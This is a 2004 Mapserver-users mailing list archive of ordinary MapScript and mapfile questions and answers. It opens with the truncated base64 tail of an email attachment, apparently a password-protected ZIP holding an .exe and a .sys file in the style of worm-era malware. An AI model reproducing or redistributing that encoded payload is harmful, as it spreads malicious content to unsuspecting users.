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 ----------vckknamrpfqvzjpeynwe-- From Antti.Roppola at brs.gov.au Sun Jun 6 18:57:08 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Mon, 7 Jun 2004 11:57:08 +1000 Subject: [Mapserver-users] functions to parse a map file? Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A0872B@afeb-ms-02> Use Mapscript as it parses the mapfile and lets you access properties directly. Ditto, rather than manipulating an array, you can plug changed properties or values right back into it. And map files are pretty easy to parse anyhow. While it's not tagged, it is pretty rigidly structured. Antti -----Original Message----- From: Mark Adams [mailto:markadams at cuestasys.com] Sent: Saturday, 5 June 2004 6:39 AM To: 'mapserver-users' Subject: [Mapserver-users] functions to parse a map file? Hi all, We are developing a sample site with Mapserver 4.2 and PHP mapscript. We'd like to add some custom functions that require that we can determine at run time certain aspects of the layers being published through the map file, for example what type of data the layer is (e.g. raster, shapefile), what its geometry type is (e.g. polygon, line), etc. We had been thinking we'd parse the map file on initial load, and access it programmatically from a set of arrays; but as the map file structure is not XML based there isn't an easy way of parsing the map file directly. Are there any built-in functions available to allow us to do this? Thanks for any help you can provide. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com From avartabedian at webservices.com.uy Sun Jun 6 21:22:39 2004 From: avartabedian at webservices.com.uy (Alejandro Vartabedian) Date: Mon, 07 Jun 2004 01:22:39 -0300 Subject: [Mapserver-users] php-mapscript changes form 3.6 to 4.0 (OT?) Message-ID: <40C3ED8F.4040505@webservices.com.uy> hello, i searched but...no luck...so... i'm upgrading from phpmapscript 3.6 to 4.0 and thing seems to change a lot. is there a place where the specific changes in paramaters, mapfile, and methods have been documented? the idea is not to re-read all the documentation and wait an error to find the changes in the existent code. thank you. pd: english is not my native language, sorry. From leo.olivieri at tin.it Sun Jun 6 23:48:03 2004 From: leo.olivieri at tin.it (leo) Date: Mon, 7 Jun 2004 08:48:03 +0200 Subject: [Mapserver-users] drawquery() Message-ID: <004101c44c5b$616d3b60$510aa8c0@imteam.local> Messaggio in formato MIME composto da piy parti. ------=_NextPart_000_003E_01C44C6C.24E6C920 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello list I use PhpMapscript. In the my system, the result of drawquery() is a map with the result in the yellow color. Is it possible to change the color of the result? =20 =20 Thanks in advanced. Leonardo ___________________________________ ------=_NextPart_000_003E_01C44C6C.24E6C920 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello list
 I use PhpMapscript.
 
In the my system, the result of drawquery() is a map = with
the result in the yellow color.
Is it possible to change the color of the=20 result?
 
 
 
 Thanks in advanced.
 Leonardo
___________________________________
------=_NextPart_000_003E_01C44C6C.24E6C920-- From ryan at dietrich.net Sun Jun 6 23:56:00 2004 From: ryan at dietrich.net (Ryan Dietrich) Date: Mon, 7 Jun 2004 02:56:00 -0400 Subject: [Mapserver-users] Win32 + Mapscript + ActiveState Perl + precompiled?? Message-ID: <200406070656.i576u4mt027064@et-phx-0.site.stayonline.net> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C44C3A.F6C471E0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I downloaded the source and pre-compiled binaries for mapserver (for win32). I, like many other people am looking for the "simple" solution to getting mapscript compiled (perl specifically). Is there an easy solution for compiling the perl module with the win32 pre-compiled binaries? Better yet, does anyone just have a ppm for this (didn't see it on activestate's site). I also found it a little odd that this wasn't on cpan, even odder, there is no author mentioned in any of the perl code. Cheers, -Ryan Dietrich ------=_NextPart_000_0001_01C44C3A.F6C471E0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I downloaded the source and pre-compiled binaries for mapserver (for win32).  I, like many other people am looking for = the “simple” solution to getting mapscript compiled (perl = specifically).

 

Is there an easy solution for compiling the perl = module with the win32 pre-compiled binaries? 

 

Better yet, does anyone just have a ppm for this = (didn’t see it on activestate’s site).

 

I also found it a little odd that this wasn’t = on cpan, even odder, there is no author mentioned in any of the perl code.  =

 

Cheers,

 

-Ryan Dietrich

------=_NextPart_000_0001_01C44C3A.F6C471E0-- From norbert.thieme at ilmenau.baw.de Mon Jun 7 00:12:15 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Mon, 07 Jun 2004 09:12:15 +0200 Subject: [Mapserver-users] Use php/mapscript init the mapobj In-Reply-To: <003e01c44b90$34553630$4271fea9@gisedu> References: <003e01c44b90$34553630$4271fea9@gisedu> Message-ID: <40C4154F.5000101@ilmenau.baw.de> Liangxu Wang schrieb: > Hi, > Is there a way to display the vector and raster data using by php/mapscript,but not define in the map file? > I notice that the MapObj Class Constructor use a initial map file. So,if I can do a null constructor,and then init the mapobj value by my php/mapscript ? > > Thanks. > > wlx > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi. You can use mapscript to generate maps without having a mapfile I think. I don't use that but I use some kind of template mapfile where I only included some Parameters I often use and then add new layers, classes, styles ... . Remember to use ms_new ... Obj(next higher object) for example ms_newLayerObj(mapobj). Then you can use save and load method from the mapobject to save/load your new map. With this you don't have to do much if you call the script a second time. Regards, Norbert From unicoletti at prometeo.it Mon Jun 7 00:29:26 2004 From: unicoletti at prometeo.it (Umberto Nicoletti) Date: 07 Jun 2004 09:29:26 +0200 Subject: [Mapserver-users] java mapscript sites examples In-Reply-To: <200406042039.18723.giorgio19291@inwind.it> References: <200406042039.18723.giorgio19291@inwind.it> Message-ID: <1086593366.5218.21.camel@friedrich> Hi Giorgio, try looking at the php mapscript by example and translate the php calls to Java. It worked for me almost flawlessy. Querying is much more difficult, but not impossibile. HTH, Umberto On Fri, 2004-06-04 at 22:39, giorgio19291 wrote: > Hi All > > I would implement mapserver in tomcat as servlet but I have found a lot of > problems in start with it! > > So: > 1) is there sites that implement mapserver as servlet in tomcat that I can > view? > 2) Some one have a piece of basic code that I can compile as servlet in > tomcat for view how it run? I have load the java Howto. > I can compile the native library libmapscript.so and the mapscript.jar but > i'm unable to compile a functional basic servlet to view something? > Many thanks. > giorgio > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From aaronkoning at shaw.ca Mon Jun 7 00:33:17 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Mon, 07 Jun 2004 00:33:17 -0700 Subject: [Mapserver-users] drawquery() Message-ID: <1715f6e1713fe1.1713fe11715f6e@shaw.ca> If you are using a mapfile then you can specify the colour in a querymap object. example in red: QUERYMAP STATUS on COLOR 255 0 0 STYLE hilite END Aaron ----- Original Message ----- From: leo Date: Sunday, June 6, 2004 11:48 pm Subject: [Mapserver-users] drawquery() > Hello list > I use PhpMapscript. > > In the my system, the result of drawquery() is a map with > the result in the yellow color. > Is it possible to change the color of the result? > > > > Thanks in advanced. > Leonardo > ___________________________________ > > From leo.olivieri at tin.it Mon Jun 7 00:30:53 2004 From: leo.olivieri at tin.it (leo) Date: Mon, 7 Jun 2004 09:30:53 +0200 Subject: [Mapserver-users] drawquery Message-ID: <009701c44c61$5da9e310$510aa8c0@imteam.local> Messaggio in formato MIME composto da piy parti. ------=_NextPart_000_0094_01C44C72.2124D060 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello list I use PhpMapscript. In the my system, the result of drawquery() is a map with the result in the yellow color. Is it possible to change the color of the result? =20 Thanks in advanced. Leonardo ------=_NextPart_000_0094_01C44C72.2124D060 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hello list
 I use PhpMapscript.
 
In the my system, the result of drawquery() is a map = with
the result in the yellow color.
Is it possible to change the color of the=20 result?
 
 

 Thanks in=20 advanced.
 Leonardo
 
 
------=_NextPart_000_0094_01C44C72.2124D060-- From keon at nacse.org Mon Jun 7 00:29:44 2004 From: keon at nacse.org (Dylan Keon) Date: Mon, 07 Jun 2004 00:29:44 -0700 Subject: [Mapserver-users] php-mapscript changes form 3.6 to 4.0 (OT?) In-Reply-To: <40C3ED8F.4040505@webservices.com.uy> References: <40C3ED8F.4040505@webservices.com.uy> Message-ID: <40C41968.1040805@nacse.org> On 6/6/2004 9:22 PM, Alejandro Vartabedian wrote: > hello, > i searched but...no luck...so... > i'm upgrading from phpmapscript 3.6 to 4.0 and thing seems to change > a lot. > is there a place where the specific changes in paramaters, mapfile, > and methods have been documented? http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide From wlazlowski at igpik.waw.pl Mon Jun 7 02:03:16 2004 From: wlazlowski at igpik.waw.pl (=?ISO-8859-2?Q?Tomasz_Wlaz=B3owski?=) Date: Mon, 07 Jun 2004 11:03:16 +0200 Subject: [Mapserver-users] --= PROBLEM WITH CLASS EXPRESSION CONNECTED WITH SHPMID =-- Message-ID: <40C42F54.1020304@igpik.waw.pl> This is a multi-part message in MIME format. --------------030803090808050401030004 Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit HELLO MAPSERVER USERS! What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with [shpmid] but I DON'T KNOW HOW TO DO THIS. PLEASE HELP ME to dissolve my little problem. In my map file I have "doubled shapefile": LAYER NAME PLOT DATA Cataster STATUS ON TYPE polygon LABELITEM "NUMER" LABELMAXSCALE 5000 TRANSPARENCY 10 CLASSITEM "NUMER" CLASS COLOR 245 245 220 OUTLINECOLOR 0 0 0 TEMPLATE "dzialki.html" LABEL COLOR 0 0 0 TYPE BITMAP FONT arial-bold SIZE SMALL ANTIALIAS TRUE POSITION CC PARTIALS FALSE MINDISTANCE 250 BUFFER 4 END END HEADER "dzialki_header.html" FOOTER "dzialki_footer.html" END #------------------------------------------------------ LAYER # Query NAME QPLOT DATA Cataster STATUS OFF TYPE polygon CLASSITEM "NUMER" CLASS # EXPRESSION ([NUMER] eq [value]) COLOR 255 50 10 OUTLINECOLOR 0 0 0 END END In my html file I use this syntax: and it's work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time: DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES????? --------------030803090808050401030004 Content-Type: text/html; charset=ISO-8859-2 Content-Transfer-Encoding: 8bit

HELLO MAPSERVER USERS!

?

What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with [shpmid] but I DON’T KNOW HOW TO DO THIS.

?

PLEASE HELP ME to dissolve my little problem.

?In my map file I have “doubled shapefile”:

LAYER

??? NAME PLOT

??? DATA Cataster

??? STATUS ON

??? TYPE polygon

???? ?LABELITEM "NUMER"

???? ?LABELMAXSCALE 5000

???? ?TRANSPARENCY 10

???? ? CLASSITEM "NUMER"

??????? CLASS

???? ??? COLOR 245 245 220

???? ??? OUTLINECOLOR 0 0 0

??????????? TEMPLATE "dzialki.html"

???? ???? LABEL

???? ???? COLOR 0 0 0

???? ????? TYPE BITMAP

???? ???? FONT arial-bold

???? ???? SIZE SMALL

???? ???? ANTIALIAS TRUE

???? ???? POSITION CC

???? ???? PARTIALS FALSE

???? ???? MINDISTANCE 250

???? ???? BUFFER 4

END

END

HEADER "dzialki_header.html"

FOOTER "dzialki_footer.html"

END

#------------------------------------------------------

LAYER # Query

??? NAME QPLOT

??? DATA Cataster

??? STATUS OFF

??? TYPE polygon

???? ? CLASSITEM "NUMER"

??????? CLASS

??????? ?#? EXPRESSION ([NUMER] eq [value])

???????? COLOR 255 50 10

???????? OUTLINECOLOR 0 0 0

???????? END

?

END

?

?

In my html file I use this syntax:

<input type="hidden" name="layer" value="Qdzialki">

<input type="hidden" name="map_Qdzialki_class_expression" value="[NUMER]">

<input type="text" name="map_Qdzialki_class_expression" size="5" maxsize="9" value="">

?

and it’s work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time:

DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES?????

--------------030803090808050401030004-- From Frank.Broniewski at mnha.etat.lu Mon Jun 7 01:58:27 2004 From: Frank.Broniewski at mnha.etat.lu (Frank Broniewski) Date: Mon, 07 Jun 2004 10:58:27 +0200 Subject: [Mapserver-users] Querybyattribute and drawquery problem Message-ID: <000201c44c6d$991d0a60$aa696e94@EPCCARTOGIS> Hello List I want to query a shapefile by some attribute stored in the shapefiles .dbf. I thought using queryByAttribute() might be the right function to use. My problem now is getting my query drawn. As far as I understand, queryByAttribute returns an integer as a result of the query. I used the following code to draw the result but with no success: $mySearchLayer = $MapObj->getLayerByName("Toponyme"); $result = $mySearchLayer->queryByAttributes("toponyme",$searchitem,MS_SINGLE); $myresultImg = $MapObj->drawQuery($result); echo "
"; I observed, that $myresultImg always is 0, nevertheless of the value of $searchitem. Even if I change $searchitem to a String like "Citie", querybyAttributes returns always 0. Then my next problem is: how do I draw the query? Is my method showed above correct, or what steps do I have to take? I already did some tests and the apache log showed me, that the number of parameters in the method drawQuery() is to small. When looking at the docs, I read imageObj image and I frankly have to admit, that I do not know, what to enter there. Many Thanks in Advance for any help offered And greetings from Luxembourg Frank Broniewski Mus?e National d'Histoire et d'Art Section Pr?histoire / Projet EPC From aaronkoning at shaw.ca Mon Jun 7 02:20:30 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Mon, 07 Jun 2004 02:20:30 -0700 Subject: [Mapserver-users] Querybyattribute and drawquery problem Message-ID: <1717bdd1717543.17175431717bdd@shaw.ca> I use drawquery with no arguments: $image = $mapObj->drawQuery(); Don't forget to create the image file after the draw: $imageUrl = $image->saveWebImage(MS_PNG,1,1,0)) Aaron ----- Original Message ----- From: Frank Broniewski Date: Monday, June 7, 2004 1:58 am Subject: [Mapserver-users] Querybyattribute and drawquery problem > Hello List > > I want to query a shapefile by some attribute stored in the shapefiles > .dbf. I thought using queryByAttribute() might be the right > function to > use. My problem now is getting my query drawn. > As far as I understand, queryByAttribute returns an integer as a > resultof the query. I used the following code to draw the result > but with no > success: > > $mySearchLayer = $MapObj->getLayerByName("Toponyme"); > $result = > $mySearchLayer->queryByAttributes("toponyme",$searchitem,MS_SINGLE); > $myresultImg = $MapObj->drawQuery($result); > echo "
"; > > I observed, that $myresultImg always is 0, nevertheless of the > value of > $searchitem. Even if I change $searchitem to a String like "Citie", > querybyAttributes returns always 0. > Then my next problem is: how do I draw the query? Is my method showed > above correct, or what steps do I have to take? I already did some > testsand the apache log showed me, that the number of parameters > in the > method drawQuery() is to small. When looking at the docs, I read > imageObj image and I frankly have to admit, that I do not know, > what to > enter there. > > Many Thanks in Advance for any help offered > And greetings from Luxembourg > > Frank Broniewski > Mus??e National d'Histoire et d'Art > Section Pr??histoire / Projet EPC > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From publiek at home.nl Mon Jun 7 02:32:07 2004 From: publiek at home.nl (Marcel Koopman) Date: Mon, 7 Jun 2004 11:32:07 +0200 Subject: [Mapserver-users] Mouseover with php mapscript Message-ID: <200406070932.i579WIFS029992@lists.gis.umn.edu> Hello, How can i implement a mouseover javascript so that it queries the point the mouse crosses? Or should i make an imagemap with coordinates? Thanks. Marcel From v0463 at n-koei.co.jp Mon Jun 7 02:33:40 2004 From: v0463 at n-koei.co.jp (No dream more) Date: Mon, 7 Jun 2004 16:33:40 +0700 Subject: [Mapserver-users] Querybyattribute and drawquery problem References: <000201c44c6d$991d0a60$aa696e94@EPCCARTOGIS> Message-ID: <000b01c44c72$85ab1120$dca110ac@lamle> You should do: $mySearchLayer = $MapObj->getLayerByName("Toponyme"); if($mySearchLayer->queryByAttributes("toponyme",$searchitem,MS_SINGLE)==MS_S UCCESS){ $mySearchLayer->draw($myresultImg); file://Draw query map echo "
"; } Hope it help you!. Lam. ----- Original Message ----- From: "Frank Broniewski" To: Sent: Monday, June 07, 2004 3:58 PM Subject: [Mapserver-users] Querybyattribute and drawquery problem > Hello List > > I want to query a shapefile by some attribute stored in the shapefiles > .dbf. I thought using queryByAttribute() might be the right function to > use. My problem now is getting my query drawn. > As far as I understand, queryByAttribute returns an integer as a result > of the query. I used the following code to draw the result but with no > success: > > $mySearchLayer = $MapObj->getLayerByName("Toponyme"); > $result = > $mySearchLayer->queryByAttributes("toponyme",$searchitem,MS_SINGLE); > $myresultImg = $MapObj->drawQuery($result); > echo "
"; > > I observed, that $myresultImg always is 0, nevertheless of the value of > $searchitem. Even if I change $searchitem to a String like "Citie", > querybyAttributes returns always 0. > Then my next problem is: how do I draw the query? Is my method showed > above correct, or what steps do I have to take? I already did some tests > and the apache log showed me, that the number of parameters in the > method drawQuery() is to small. When looking at the docs, I read > imageObj image and I frankly have to admit, that I do not know, what to > enter there. > > Many Thanks in Advance for any help offered > And greetings from Luxembourg > > Frank Broniewski > Mus?e National d'Histoire et d'Art > Section Pr?histoire / Projet EPC > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From devel at itdownunder.com.au Mon Jun 7 02:45:19 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Mon, 7 Jun 2004 19:45:19 +1000 Subject: [Mapserver-users] MapServ Compile Error after GDAL 1.2 install In-Reply-To: <40C41015.3060806@ilmenau.baw.de> Message-ID: <000201c44c74$2992f270$65c8a8c0@arlaptop> > > > > [root at tanami mapserver-4.2.0]# ./configure 